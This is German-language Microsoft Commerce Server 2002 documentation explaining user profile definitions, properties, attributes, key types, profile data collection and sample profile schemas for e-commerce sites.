  • Verwenden von Profilen bei der Websiteverwaltung
  • Profilstruktur
  • Profildefinitionen
  • Profileigenschaften
  • Profileigenschaftsattribute
  • Zusammenstellen und Speichern von Profilen
  • Beispielprofildefinitionen
  • Verwenden von Profilen in einem Webfarmszenario


Verwenden von Profilen bei der Websiteverwaltung

Mit Commerce Server Business Desk haben Sie folgende Möglichkeiten:

  • Festlegen, welche Informationen Sie über Benutzer sammeln möchten, die Ihre Site besuchen.
  • Analysieren von Profilinformationen.
  • Erstellen von Zielausdrücken, um Inhalte Benutzern zuzuweisen.
  • Erstellen von Werbe-, Preisnachlass- und Direktsendungskampagnen, um bestimmte Benutzergruppen anzusprechen.
  • Übermitteln personalisierter Direktsendungsnachrichten an Benutzer.

Beispiel: Ihre Site verkauft Sportwarenartikel. Der folgende Workflow zeigt beispielhaft, wie Sie mit Profilen eine Analyse der Benutzeraktivitäten vornehmen und Inhalte zielgerichtet auf Benutzer abstimmen können. Genaue Anweisungen zu diesem Workflow finden Sie im Business Desk Business-To-Consumer-Lernprogramm der Commerce Server 2002-Hilfe.

  1. Ihr Systemadministrator erstellt Profildefinitionen für registrierte Benutzer und anonyme Benutzer, die Ihre Website für Sportwarenartikel besuchen.
  2. Ist Ihre Site bereits über einen längeren Zeitraum aktiv, können Sie die Profildaten analysieren, um festzustellen, wer Ihre Site besucht und welche Produkte gekauft werden:
    • Um die Profileigenschaften der Benutzer zu analysieren, die die Site besuchen, führen Sie die Berichte "Neu registrierte Benutzer" und "Eigenschaften von registrierten Benutzern" aus.
    • Mithilfe des Berichts "Produktverkäufe" können Sie das Volumen von Produktverkäufen und Einnahmen nach Datum untersuchen. Dieser Bericht zeigt die Gesamtmenge und die Gesamteinnahmen für jede Produktkategorie an.
    • Mithilfe des Berichts "Kundenverkäufe" lassen sich Details, Gesamtverkäufe und Gesamtbestellungen von Kunden anzeigen.
  3. Erstellen Sie mithilfe der Analyseergebnisse eine Kampagne, die Inhalte zielgerichtet auf Benutzer abstimmt:
    • Um Kunden gezielt anzusprechen und eine Kampagne zu erstellen, in deren Rahmen bestimmten Benutzern Preisnachlässe angeboten werden, exportieren Sie den Bericht "Kundenverkäufe" ins Listen-Manager-Modul in Commerce Server Business Desk
  4. Nachdem der Preisnachlass eine Weile angeboten wurde, können Sie das Ergebnis der Kampagne analysieren:
    • Um die Klickrate zu überprüfen, führen Sie den Bericht "Zusammenfassung der Kampagnenartikel" aus.
    • Mit dem Bericht "Anzeigenreichweite und -häufigkeit nach Datum" kann das Benutzerverhalten in Bezug auf die Kampagnenartikel der Site untersucht werden. Dieser Bericht zeigt die Aktivitäten von Benutzern pro Tag und Kampagnenartikel an.
  5. Falls die Benutzer nicht in erhöhtem Maße preisreduzierte Produkte gekauft haben, führen Sie den Bericht "Kundenverkäufe" erneut aus und exportieren ihn ins Listen-Manager-Modul. Erstellen Sie eine Direktsendungskampagne, um auf der Grundlage der Benutzerprofile personalisierte Direktsendungsnachrichten zu übermitteln.

Informationen über das Erstellen von Ausdrücken und die zielgerichtete Abstimmung von Inhalten auf Benutzer finden Sie unter Konzepte für Zielgruppenadressierung und Personalisierung.


Profilstruktur

Zum Erstellen und Verwalten der Profile werden die Profilressourcen und die Profilmodule verwendet. Ein Commerce Server-Profil hat die folgenden Bestandteile:

  • Profildefinition. Enthält eine Beschreibung der Daten, die für den jeweiligen Profiltyp zusammengestellt werden sollen. Die Profildefinition Benutzerobjekt kann beispielsweise verwendet werden, um ein Profil für jeden Benutzer zu erstellen, der sich in Ihrer Site registriert. Systemadministratoren erstellen Profildefinitionen unter Verwendung der Profilressource in Commerce Server-Manager.
  • Profileigenschaft. Bestimmt die Profildaten, die zusammengestellt werden, wenn ein Besucher Ihre Website besucht. So legt die Eigenschaft Vorname z. B. fest, dass der Vorname des Benutzers erfasst werden soll. Mit dem Business Desk-Modul "Profildefinitions-Designer" können Sie Profileigenschaften zu Profildefinitionen hinzufügen.
  • Profileigenschaftsattribut. Legt Informationen über eine Profileigenschaft wie den Datentyp der Eigenschaft fest (z. B. Zahl, Zeichenfolge, Dezimal und Sitebegriff).

Jedes Profil basiert auf einer einzelnen Profildefinition. Sie können Profildefinitionen einbetten, um Profile zu erstellen, die aufeinander verweisen. So können Sie beispielsweise durch Hinzufügen einer Profildefinition Adresse zur Profildefinition Benutzerobjekt eine Adresse für einen Benutzer erfassen, und der Benutzer kann auf die Adresse verweisen. Mithilfe des Moduls "Profildefinitions-Designer" in Commerce Server Business Desk können Sie Profildefinitionen bearbeiten und verwalten.

Die folgende Tabelle zeigt ein Beispiel der Profildefinition Benutzerobjekt mit einer einzelnen Instanz dieser Profildefinition, die Daten über die Benutzerin Cornelia Kunze enthält.

Profildefinition: Benutzer | Profil: Cornelia Kunze
Vorname | Cornelia
Nachname | Kunze
Ort | München
Geschlecht | W
Alter | 52
E-Mail-Adresse | corneliakunze@microsoft.de

Siehe auch

Verwenden von Profilen bei der Websiteverwaltung

Profildefinitionen

Profileigenschaften

Profileigenschaftsattribute

Zusammenstellen und Speichern von Profilen

Beispielprofildefinitionen


Profildefinitionen

Eine Profildefinition ist eine Gruppe von Eigenschaften, die ein beliebiges geschäftsbezogenes Element definiert, beispielsweise einen Benutzer, ein Unternehmen oder einen Geschäftsprozess. Falls Ihre Site mithilfe einer Lösungssite erstellt wurde, sollten Sie über die fünf folgenden Beispielprofildefinitionen verfügen:

  • Adresse
  • Pauschalbestellungen
  • Organisation
  • Zielgruppenadressierungs-Kontext
  • Benutzerobjekt

Bevor Sie neue Profildefinitionen erstellen, müssen Sie zuerst den Speicherort der Profildaten in der Datenbank festlegen. Anschließend muss die entsprechende Tabelle samt Spalten für die Daten hinzugefügt werden. Beispiel: Der Businessmanager braucht eine neue Profildefinition mit der Bezeichnung "Musik", in der folgende Profileigenschaften gespeichert werden sollen: "Erstes Konzert", "Letztes Konzert", "Lieblings-CD" sowie zwei weitere, noch nicht festgelegte Eigenschaften. Sie entscheiden, dass diese Daten am besten in einer neuen Tabelle mit dem Namen "Musik" in der neuen SQL Server-Datenbank "Unterhaltung" gespeichert werden sollten. So erstellen Sie die Profildefinition "Musik":

  • Führen Sie mit SQL Server Enterprise Manager folgende Schritte durch:
    1. Erstellen Sie eine SQL Server-Datenbank mit dem Namen "Unterhaltung".
    2. Erstellen Sie die Tabelle "Musik" in der Datenbank "Unterhaltung", und fügen Sie Spalten für die fünf dort zu speichernden Datenelemente hinzu.
  • Führen Sie mithilfe der Profilressource folgende Schritte durch:
    1. Erstellen Sie eine Verknüpfung zur neuen Datenquelle "Unterhaltung". Diesen Schritt müssen Sie nur einmal durchführen. Nachdem Sie eine neue Datenquelle mit der Profilressource verknüpft haben, müssen Sie dies nicht wiederholen.
    2. Erstellen Sie ein Datenobjekt mit dem Namen "Musik", und verknüpfen Sie es mit der Tabelle "Musik" in der Datenbank "Unterhaltung".
    3. Erstellen Sie die Datenelemente "Erstes Konzert", "Letztes Konzert", "Lieblings-CD", "Platzhalter1" und "Platzhalter2", und verknüpfen Sie diese mit den entsprechenden Spalten der Tabelle "Musik".

    Die folgende Abbildung zeigt, wie Elemente in einer SQL Server-Datenbank, der Profilressource und einer Profildefinition miteinander verknüpft werden.

    Abbildung zur Beziehung zwischen SQL Server, Profilressourcen und einer Profildefinition

Ausführliche Anweisungen zur Verwendung der Profilressource für die Erweiterung Ihres Profilschemas finden Sie unter Ausführen der Profilressource.

Nachdem Sie die Profildefinition und die Eigenschaften erstellt haben, kann der Businessmanager mithilfe des Moduls Profildefinitions-Designer von Business Desk die Profileigenschaften "Erstes Konzert", "Letztes Konzert" und "Lieblings-CD" zur Definition hinzufügen. In diesem Schritt ordnet der Businessmanager diese Eigenschaften den erstellten Datenelementen zu. Die Namen der Datenelemente müssen dem Businessmanager also bekannt sein. Die Eigenschaften können mithilfe von Commerce Server-Manager mit den Datenelementen verknüpft werden.

Wenn der Businessmanager später die über die Profildefinition "Musik" zusammenzustellenden Informationen bestimmt, lassen sich mit dem Modul Profildefinitions-Designer zwei neue Eigenschaften erstellen und mit den Platzhalterdatenelementen verknüpfen, die in der Musiktabelle erstellt wurden.

Die Commerce Server Solution Sites (nur auf Englisch verfügbar) enthalten folgende Beispielprofildefinitionen: Adressen, Pauschalbestellungen, Organisation, Benutzerobjekt und Zielgruppenadressierungs-Kontext. Die Profildefinition Benutzerobjekt enthält fünf unbenannte Eigenschaften. Dadurch können Sie Eigenschaften zur Profildefinition Benutzerobjekt hinzufügen, ohne Ihre Datenbank erweitern zu müssen. Eine Liste von Eigenschaften der einzelnen Profildefinitionen finden Sie unter Beispielprofildefinitionen.

Schlüssel für Profildefinitionen

Sie müssen für jede gültige Profildefinition mindestens einen Schlüssel definieren. Sie können feststellen, ob es sich um einen eindeutigen Schlüssel bzw. einen Primär-, Verbindungs- oder Hashschlüssel handelt, indem Sie im Abschnitt Erweiterte Attribute des Moduls "Profildefinitions-Designer" von Business Desk oder in der Profildefinition der Profilressource des Commerce Server-Managers die Typeigenschaft Schlüssel überprüfen.

Eindeutiger Schlüssel

Ein eindeutiger Schlüssel gibt an, dass der Wert dieser Eigenschaft für alle Elemente eindeutig ist. Ein als eindeutig definiertes Attribut wird einem eindeutigen Feld in einer SQL Server-Datenbank oder einem eindeutigen Attribut in einer Lightweight Directory Access Protocol (LDAP)-Datenquelle zugeordnet.

Wenn eine Profildefinitionseigenschaft als Schlüssel markiert ist, ist das dazugehörige Attribut Eindeutiger Schlüssel aktiviert. Nur Eigenschaften mit dem Datentyp string oder numeric können als Schlüssel markiert werden. Profildefinitionen können eine beliebige Anzahl von Schlüsseln enthalten, wobei es aus Leistungs- und Speichergründen besser ist, möglichst wenige Schlüssel zu verwenden.

Alle Hauptvorgänge der Profilobjektverwaltung im Profilsystem (CreateProfile, GetProfile, GetProfileByKey, DeleteProfile, DeleteProfileByKey) funktionieren nur mit Schlüsselelementen. Das Profilsystem bietet nicht die Gewährleistung, dass Eigenschaften, die als eindeutige Schlüssel markiert sind, tatsächlich eindeutig sind. Stattdessen sind Beschränkungen für Objekte in den zu Grunde liegenden Datenspeichern (Tabellen für relationale Datenbanken oder Klassen für Verzeichnisspeicher) erforderlich, um die Eindeutigkeit implizit zu erzwingen.

Primärschlüssel

Ein Primärschlüssel gibt an, dass der Wert dieser Eigenschaft für alle Elemente eindeutig ist. Ein als Primärschlüssel definiertes Attribut wird einem Primärschlüsselfeld in einer SQL Server-Datenbank oder einem eindeutigen Attribut in einer LDAP-Datenquelle zugeordnet. Der Primärschlüssel wird verwendet, um Profile, die mit eingebetteten Profildefinitionen erstellt wurden, zueinander in Beziehung zu setzen.

Jede Profildefinition muss genau eine als eindeutiger Schlüssel eingerichtete Eigenschaft enthalten, die als Primärschlüssel markiert ist. Die Profileigenschaft, die am häufigsten in Profilobjektinstanzen verwendet wird, muss als Primärschlüssel markiert werden.

Ein Primärschlüssel ist durch ein rotes "P" oder ein grünes "D" (bei dualen Primär- und Verbindungsschlüsseln) gekennzeichnet, das der Eigenschaft im Modul "Profil-Designer" von Business Desk oder in der Profildefinition der Profilressource des Commerce Server-Managers vorangestellt ist.

Verbindungsschlüssel

Ein Verbindungsschlüssel verbindet mehrere Datenspeicher anhand einer gemeinsamen Eigenschaft im Profildienst. Um eine Eigenschaft zu bearbeiten, die als Verbindungsschlüssel definiert ist und zum Sammeln von Daten verwendet wurde, müssen Sie die Datenbankspalten löschen, die die Verbindungsschlüsseldaten enthalten. Nach dem Löschen von Datenbankspalten müssen Sie die alten Daten in die neuen Datenbankspalten migrieren. In Commerce Server 2002 kann die Eigenschaft Verbindungsschlüssel nicht bearbeitet werden, wenn persistente Daten vorhanden sind.

Jede Profildefinition muss genau eine eindeutige Schlüsseleigenschaft enthalten, die als Verbindungsschlüssel markiert ist. Optimale Ergebnisse erzielen Sie, wenn Sie den Primärschlüssel in der Profildefinition auch als Verbindungsschlüssel markieren. Wenn Sie beim Erstellen des Profilobjekts für die Verbindungsschlüsseleigenschaft keinen Wert angeben, erstellt das Profilsystem automatisch einen Wert für dieses Element.

Ein Verbindungsschlüssel ist durch ein blaues "J" oder ein grünes "D" (bei dualen Primär- und Verbindungsschlüsseln) gekennzeichnet, das der Eigenschaft im Modul "Profil-Designer" von Business Desk oder in der Profildefinition der Profilressource des Commerce Server-Managers vorangestellt ist. Das Profilsystem stellt mithilfe der Verbindungsschlüsseleigenschaft Profilobjektfragmente zusammen, die in mehreren Datenspeichern abgelegt sind. Die Werte der Verbindungsschlüsseleigenschaft werden in allen Datenspeichern repliziert.

Hinweis

  • Nachdem für die Verbindungsschlüsseleigenschaft in den zu Grunde liegenden Speichern ein Commit ausgeführt wurde, kann diese Eigenschaft nicht mehr aktualisiert werden.

Hashschlüssel

Jede Profildefinition kann eine eindeutige Schlüsseleigenschaft enthalten, die als Hashschlüssel markiert ist. Die Profilaggregationsebene verwendet die Hashschlüsseleigenschaft, um ein Profilobjekt in eine eindeutige Partition innerhalb einer Datenressource zu hashen. Das Vorhandensein einer Hashschlüsseleigenschaft ist die einzige Möglichkeit, anzuzeigen, dass Instanzen einer Profildefinition in mehreren Partitionen einer Datenquelle gespeichert werden. Wenn diese Eigenschaft nicht vorhanden ist, werden alle Profilinstanzen auf der Standardpartition gespeichert.

Markieren Sie den Verbindungsschlüssel in der Profildefinition als Hashschlüssel. Die optimale Leistung wird erzielt, wenn Sie ein und dieselbe Eigenschaft als Primärschlüssel, Verbindungsschlüssel und Hashschlüssel markieren.

Sie können feststellen, ob es sich um einen Hashschlüssel handelt, indem Sie den Eintrag Erweiterte Attribute/Hashschlüssel des Moduls "Profile-Designer" von Business Desk oder die Profildefinition der Profilressource im Commerce Server-Manager überprüfen.

Hinweise

  • Nachdem für das Profilobjekt in den zu Grunde liegenden Speichern ein Commit ausgeführt wurde, kann der Wert für die Hashschlüsseleigenschaft nicht mehr aktualisiert werden.
  • Bei partitioniertem ANSI SQL-Speicher können Profilobjektabrufvorgänge, die auf einem Nicht-Hashschlüssel und der Methode GetInfo des Objekts ProfileObject beruhen, möglicherweise fehlschlagen. Dies gilt jedoch nicht für die mit LDAP Version 3 kompatiblen Speicher.

Siehe auch

Ausführen der Profilressource

Verwenden von Profilen bei der Websiteverwaltung

Profilstruktur

Profileigenschaften

Profileigenschaftsattribute

Zusammenstellen und Speichern von Profilen

Beispielprofildefinitionen


Profileigenschaften

Nachdem der Systemadministrator die Profildefinition erstellt hat, können Sie mit dem Modul Profildefinitions-Designer von Business Desk Profileigenschaften hinzufügen. Diese Profileigenschaften bestimmen, welche Informationen in einem Profil zusammengestellt werden. In der Profildefinition Benutzerobjekt könnten beispielsweise folgende Eigenschaften enthalten sein: Vorname, Nachname, Stadt, Geschlecht, Alter und E-Mail-Adresse.

Die folgende Abbildung zeigt die Bestandteile einer Beispielprofildefinition Benutzerobjekt.

Bestandteile einer Profildefinition

Siehe auch

Ausführen der Profilressource

Verwenden von Profilen bei der Websiteverwaltung

Profilstruktur

Profildefinitionen

Profileigenschaftsattribute

Zusammenstellen und Speichern von Profilen

Beispielprofildefinitionen


Profileigenschaftsattribute

Jede Profileigenschaft verfügt über Attribute. Attribute enthalten Informationen über die Eigenschaft, etwa über den Datentyp der Eigenschaft (z. B. Zahl, Zeichenfolge, Dezimal und Sitebegriff), ob die Eigenschaft einwertig (z. B. wenn nur ein Vorname zulässig ist) oder mehrwertig ist und ob die Profileigenschaft indiziert ist.

Ein Sitebegriff ist ein von Ihnen erstellter Datentyp. Dies ist eine Liste bestimmter Werte, die für Ihre Site relevant sind. Mit Sitebegriffen weisen Sie einer Eigenschaft eine Liste von Werten als Attribut zu. Sie könnten beispielsweise einen Sitebegriff namens "Geschlecht" erstellen und die folgenden möglichen Werte dafür definieren: Weiblich, Männlich und Unbekannt. Wenn Sie eine Profileigenschaft namens "Geschlecht" erstellen und ihr den Datentyp "Sitebegriff" zuweisen, kann nur einer der gültigen Werte dem Profil zugewiesen werden. Sitebegriffe werden mithilfe des Sitebegriffs-Editor-Moduls in Business Desk erstellt. Über das Modul "Profildefinitions-Designer" werden Sitebegriffen dann die Profildefinitionen zugewiesen.

Sitebegriffe werden Profileigenschaften zugewiesen und richten so gemeinsame Wörter ein, die Sie überall in Commerce Server verwenden können – z. B., um den Inhalt auf die Benutzerpräferenzen abzustimmen. Weitere Informationen über den Einsatz von Profilen zur Bereitstellung von Inhalten finden Sie unter Konzepte für Zielgruppenadressierung und Personalisierung.

Benutzerdefinierte Attribute und erweiterte Attribute

Es gibt zwei Arten von Profilattributen: benutzerdefinierte Attribute und erweiterte Attribute

Benutzerdefinierte Profilattribute sind anwendungsspezifische Attribute. Benutzerdefinierte Attribute können für einzelne Eigenschaften definiert werden. Sie können z. B. ein benutzerdefiniertes Attribut erstellen, das festlegt, wie eine Eigenschaft auf der Seite einer Website angezeigt wird.

Benutzerdefinierte Attribute steuern, wie allgemeine Profile auf den Bildschirmen Suchen und Profil bearbeiten des Moduls "Profil-Editor" angezeigt werden.

Für neu erstellte allgemeine Profile müssen Sie die benutzerdefinierten Attribute sDisplayColumn und sFriendlyName festlegen. Wenn diese Attribute nicht definiert werden, wird die Schaltfläche Suchen nicht aktiviert, und Sie können somit nicht nach Instanzen dieser Profile suchen.

  • sDisplayColumn. Der Anzeigename der im Bildschirm Suchen als Spaltenname angezeigten Eigenschaft.

    Eigenschaften mit dem benutzerdefinierten Attribut sDisplayColumn werden im Bildschirm Suchen von links nach rechts in der Reihenfolge angezeigt, in der sie in der Eigenschaftenliste des Bildschirms Profil erscheinen. Der Wert des benutzerdefinierten Attributs sDisplayColumn bestimmt die relative Breite der Spalte für diese Eigenschaft. Wenn der Wert der Spaltenbreite für die erste Eigenschaft beispielsweise zwei und der Wert für die zweite Eigenschaft vier lautet, ist die zweite Spalte doppelt so breit wie die erste.

    Bei diesem Attribut muss die Groß- und Kleinschreibung beachtet werden. Die maximale Breite beträgt 100. Wenn ein Profil nur eine Eigenschaft enthält, für die ein benutzerdefiniertes Attribut sDisplayColumn festgelegt ist, wird der Inhalt der Profilanzeigespalte für diese Eigenschaft standardmäßig in aufsteigender Reihenfolge sortiert. Eigenschaften mit diesem Attribut können nicht als Verbindungsschlüssel oder dualer Schlüssel definiert sein. Sie dürfen ferner kein Sitebegriff oder Profiltypverweis sein und müssen einem Datenelement zugeordnet werden.

  • sFriendlyName. Der Anzeigename der Eigenschaft wird in der Titelleiste des Bildschirms Profil bearbeiten Profilanzeigename angezeigt. Er wird auch als erste Spalte auf der linken Seite des Bildschirms Suchen verwendet.

    Bei diesem Attribut wird zwischen Groß- und Kleinschreibung unterschieden. Eigenschaften mit diesem Attribut können nicht als Verbindungsschlüssel oder dualer Schlüssel definiert sein. Sie dürfen ferner kein Sitebegriff oder Profiltypverweis sein und müssen einem Datenelement zugeordnet werden.

Mithilfe von erweiterten Attributen können Sie die Art und Weise, wie Ihre Anwendungen eine Profileigenschaft verwenden, ändern. Durch das Attribut Exported wird beispielsweise festgelegt, ob die Eigenschaft ins Data Warehouse importiert wird.

Die folgende Tabelle enthält die erweiterten Attribute und den Zweck jedes Attributs.

Attribut | Zweck
Aktiv Zeigt an, ob diese Eigenschaft durch das Profilsystem verfügbar ist. Inaktive Eigenschaften werden in Business Desk nicht angezeigt.

Eine Eigenschaft kann nur aktiv sein, wenn sie Daten zugeordnet ist.
Daten zuordnen | Das Datenelement, dem die Eigenschaft zugeordnet wird. Sie können Profile basierend auf einer gegebenen Profildefinition nur dann hinzufügen, löschen oder bearbeiten, wenn dieser Profildefinition mindestens eine Eigenschaft zugeordnet ist.
Schlüsseltyp Es können vier Schlüsseltypen zugeordnet werden. Erläuterungen zu diesen Schlüsseln finden Sie weiter vorn im Abschnitt "Schlüssel für Profildefinitionen".
  • Eindeutiger Schlüssel. Gibt an, dass der Wert dieser Eigenschaft für alle Elemente eindeutig ist. Ein als eindeutig definiertes Attribut wird einem eindeutigen Feld in einer SQL Server-Datenbank oder einem eindeutigen Attribut in einer Lightweight Directory Access Protocol (LDAP)-Datenquelle zugeordnet.
  • Primärschlüssel. Gibt an, dass der Wert dieser Eigenschaft für alle Elemente eindeutig ist. Ein als Primärschlüssel definiertes Attribut wird einem Primärschlüsselfeld in einer SQL Server-Datenbank oder einem eindeutigen Attribut in einer LDAP-Datenquelle zugeordnet. Der Primärschlüssel wird verwendet, um Profile, die mit eingebetteten Profildefinitionen erstellt wurden, zueinander in Beziehung zu setzen.
  • Verbindungsschlüssel. Verbindet mehrere Datenspeicher anhand einer gemeinsamen Eigenschaft im Profildienst. Um eine Eigenschaft zu bearbeiten, die als Verbindungsschlüssel definiert ist und zum Sammeln von Daten verwendet wurde, müssen Sie die Datenbankspalten löschen, die die Verbindungsschlüsseldaten enthalten. Nach dem Löschen von Datenbankspalten müssen Sie die alten Daten in die neuen Datenbankspalten migrieren. In Commerce Server 2002 kann die Eigenschaft Verbindungsschlüssel nicht bearbeitet werden, wenn persistente Daten vorhanden sind.
  • Dualer Schlüssel (Primär- und Verbindungsschlüssel). Gibt an, dass der Wert dieser Eigenschaft eindeutig ist, und verbindet diese Eigenschaft mit einer Eigenschaft in einem anderen Datenspeicher.
Erforderlich | Gibt an, dass die Eigenschaft obligatorisch ist. Wenn eine Eigenschaft erforderlich ist, muss sie ebenfalls aktiv sein.
Exportiert | Legt fest, dass die Eigenschaft in das Data Warehouse importiert wird.
Cacheload verzögern | Gibt an, dass die jeweilige Eigenschaft zunächst beim Abrufen des Profils nicht geladen wird, und erst dann geladen wird, wenn ein Zugriff auf diese Eigenschaft erfolgt.
Mehrwertig | Aktiviert das Erfassen einer Wertesammlung, die der Eigenschaft zugeordnet ist. Das Durchsuchen von mehrwertigen Eigenschaften ist nicht möglich.
Suche aktivieren | Gibt an, dass die jeweilige Eigenschaft im zu Grunde liegenden Datenspeicher indiziert ist und für das Suchen über die Funktion Suchen nach zur Verfügung steht. Ein für die Suche aktiviertes Attribut wird einem indizierten Feld in der SQL Server-Datenbank oder in der LDAP-Quelle zugeordnet. Wenn das Durchsuchen einer Eigenschaft möglich ist, kann diese Eigenschaft nicht mehrwertig sein.
RDN | Gibt den RDN (Relative Distinguished Name) für einen Verzeichnisspeicher an. Wenn dieses Attribut für eine Eigenschaft aktiviert ist, wird dieses Element dem RDN-Attribut einer LDAP-Klasse im zu Grunde liegenden Speicher zugeordnet. Dies gilt nicht für OLE DB-Quellen (OLE DB Provider von Microsoft Commerce Server) oder andere Datenquellentypen.
Hashschlüssel | Gibt an, dass diese Eigenschaft zur Verteilung von Profilinstanzen über mehrere Partitionen verwendet wird. Um dieses Profil abzurufen, muss eine Abfrage über diesen Schlüssel erfolgen.

Verwenden von Hashschlüsseln zum Speichern von Profildefinitionsdaten in mehreren Datenbanken

Ein Hashschlüssel ist ein eindeutiger Schlüssel, der zur Verbindung von Daten verwendet wird, die aus einer einzigen Quelle (in diesem Fall aus einer Profildefinition) stammen, aber physisch in mehreren Datenbanken gespeichert sind. Datenquellen verwenden Hashschlüssel zum Partitionieren von Daten über mehrere Datenbanken hinweg. Sie verwenden die Profilressource (oder das Modul "Profildefinitions-Designer" in Commerce Server Business Desk) zur Auswahl einer Profileigenschaft, die als Hashschlüssel für eine Profildefinition verwendet werden soll.

Wenn Sie keine Profildefinition als Hashschlüssel definieren, werden alle mit einer Profildefinition gesammelten Daten in der Datenbank gespeichert, die der Standardpartition zugewiesen ist. Wenn Sie einen Hashschlüssel einmal definiert haben, können Sie ihn nicht neu definieren.

Siehe auch

Ausführen der Profilressource

Verwenden von Profilen bei der Websiteverwaltung

Profilstruktur

Profildefinitionen

Profileigenschaften

Zusammenstellen und Speichern von Profilen

Beispielprofildefinitionen


Zusammenstellen und Speichern von Profilen

Profildaten werden bei einer Commerce Server-Site auf zwei Arten zusammengestellt. Besucher Ihrer Site stellen Ihnen Profildaten über sich selbst zur Verfügung; dies wird als explizite Profilerstellung bezeichnet. Wenn Benutzer z. B. Produkte von Ihrer Site kaufen, geben Sie normalerweise ihren Namen, ihre Anschrift, Telefonnummer und E-Mail-Adresse an. Mit diesen Informationen wird dann ihr Benutzerprofil aufgefüllt.

Sie können die Daten aber auch über die implizite Profilerstellung zusammenstellen. Bei der impliziten Profilerstellung werden die Aktionen aller Benutzer (anonymer und registrierter) in Webprotokolldateien aufgezeichnet, wann immer Benutzer mit Ihrer Website interagieren. Beispiel: Webprotokolldateien zeichnen die Links auf, auf die anonyme Benutzer klicken, nach welchen Produkten sie suchen, die Länge ihrer Sitzungen und wie lange sie auf einer bestimmten Webseite verweilen. Auch wenn die Benutzer anonym bleiben, also weder ihre Namen noch die E-Mail-Adressen oder andere Daten bekannt sind, liefert ihr Verhalten in Ihrer Site wichtige Informationen. Ein Klickverlauf beispielsweise stellt den Weg durch die besuchten Webseiten dar – mit diesen Informationen können Sie ein bestimmtes Interessenfeld aufdecken. Informationen über die Verwendung von Cookies in Commerce Server finden Sie unter Authentifizierungskonzepte.

Alle während einer bestimmten Benutzersitzung erfassten Informationen werden in einem einzelnen Profil gespeichert, d. h. in einer Instanz einer Profildefinition.

Siehe auch

Verwenden von Profilen bei der Websiteverwaltung

Profilstruktur

Profildefinitionen

Profileigenschaften

Beispielprofildefinitionen


Beispielprofildefinitionen

Die Commerce Server Solution Sites (nur auf Englisch verfügbar) enthalten Beispielprofildefinitionen. Falls Ihre Site auf einer Lösungssite basiert, sollten Sie über die fünf in der folgenden Tabelle aufgeführten Profildefinitionen verfügen.

Profildefinition | Eigenschaften (Datentyp) | Beschreibung
Adresse | Adressen-ID (Zeichenfolge) | Adressenbezeichner
 | ID (Zeichenfolge) | Organisations-/Benutzerbezeichner
 | Nachname (Zeichenfolge) | Nachname des Benutzers
 | Vorname (Zeichenfolge) | Vorname des Benutzers
 | Adressenname (Zeichenfolge) | Name für diese Adresse
 | Adresstyp (Nummer) | Adresse/Lieferadresse/Rechnungsadresse
 | Beschreibung (Zeichenfolge) | Beschreibung für diese Adresse
 | Adresszeile 1 (Zeichenfolge) | Erste Zeile der Adresse
 | Adresszeile 2 (Zeichenfolge) | Zweite Zeile der Adresse
 | Ort (Zeichenfolge) | Ortsname
 | Code für Bundesland/Kanton (Zeichenfolge) | Code für Bundesland/Kanton
 | Name des Bundeslandes/Kantons (Zeichenfolge) | Name des Bundeslandes/Kantons
 | PLZ (Zeichenfolge) | PLZ
 | Länder-/Regionalcode (Zeichenfolge) | ISO-Code für Land/Region
 | Landes-/Regionsname (Zeichenfolge) | Name des Landes bzw. der Region
 | Rufnummer (Zeichenfolge) | Rufnummer für diese Adresse
 | Durchwahl (Zeichenfolge) | Durchwahl für diese Adresse
 | Gebietsschema-ID (Nummer) | Gebietsschema, in das das Adressformular zu rendern ist
 | Geändert von (Zeichenfolge) | Name der Person, die dieses Profil zuletzt geändert hat
 | Zuletzt geändert am (Datum/Uhrzeit) | Datum, an dem dieses Profil zuletzt geändert wurde
 | Erstellt am (Datum/Uhrzeit) | Datum, an dem dieses Profil erstellt wurde
Pauschalbestellungen | Bestell-ID (Zeichenfolge) | Global eindeutiger Bezeichner (GUID), der auf die Pauschalbestellung verweist
 | Organisations-ID (Zeichenfolge) | Organisations-ID
 | Bestellnummer (Zeichenfolge) | Pauschalbestellungsnummer
 | Beschreibung (Zeichenfolge) | Beschreibung der Bestellung
 | Geändert von (Zeichenfolge) | Name der Person, die dieses Profil zuletzt geändert hat
 | Zuletzt geändert am (Datum/Uhrzeit) | Datum, an dem dieses Profil zuletzt geändert wurde
 | Erstellt am (Datum/Uhrzeit) | Datum, an dem dieses Profil erstellt wurde
Organisation | Organisations-ID (Zeichenfolge) | Organisations-ID
 | Name (Zeichenfolge) | Name der Organisation
 | Nummer des Handelspartners (Zeichenfolge) | Nummer des Handelspartners
 | Administrativer Kontakt (Zeichenfolge) | GUID für den administrativen Kontakt
 | Empfänger (Zeichenfolge) | Benutzer-ID des Empfängers für Produkte, die vom Lieferanten ausgeliefert werden
 | Organisationskatalogsatz (Zeichenfolge) | Organisationskatalogsatz
 | Geändert von (Zeichenfolge) | Name der Person, die dieses Profil zuletzt geändert hat
 | Einkaufs-Manager (Zeichenfolge) | Benutzer-ID des Einkaufs-Managers der Käuferorganisation
 | Zuletzt geändert am (Datum/Uhrzeit) | Datum, an dem dieses Profil zuletzt geändert wurde
 | Erstellt am (Datum/Uhrzeit) | Datum, an dem dieses Profil erstellt wurde
Benutzerobjekt | Benutzer-ID (Zeichenfolge) | Benutzer-ID
 | Anmeldename (Zeichenfolge) | Anmeldename
 | Benutzerkennwort (Kennwort) | Benutzerkennwort
 | E-Mail (Zeichenfolge) | E-Mail-Adresse des Benutzers
 | Benutzertyp (Nummer) | Benutzertyp
 | Benutzertitel (Zeichenfolge) | Benutzertitel
 | Nachname (Zeichenfolge) | Nachname des Benutzers
 | Vorname (Zeichenfolge) | Vorname des Benutzers
 | Rufnummer (Zeichenfolge) | Rufnummer des Benutzers
 | Durchwahl (Zeichenfolge) | Durchwahl des Benutzers
 | Faxnummer (Zeichenfolge) | Faxnummer des Benutzers
 | Faxdurchwahl (Zeichenfolge) | Faxdurchwahl des Benutzers
 | Geändert von (Zeichenfolge) | Name der Person, die dieses Profil zuletzt geändert hat
 | Organisations-ID (Zeichenfolge) | Organisations-ID
 | Kontostatus (Nummer) | Kontostatus
 | Benutzerkatalogsatz (Zeichenfolge) | Benutzerkatalogsatz
 | Registriert am (Datum/Uhrzeit) | Registrierungsdatum des Benutzers
 | Kampagnenverlauf (Zeichenfolge) | Kampagnenverlauf
 | Flags für die Partnerservicerolle (Nummer) | Partnerservicerolle
 | Zuletzt geändert am (Datum/Uhrzeit) | Datum, an dem dieses Profil zuletzt geändert wurde
 | Erstellt am (Datum/Uhrzeit) | Datum, an dem dieses Profil erstellt wurde
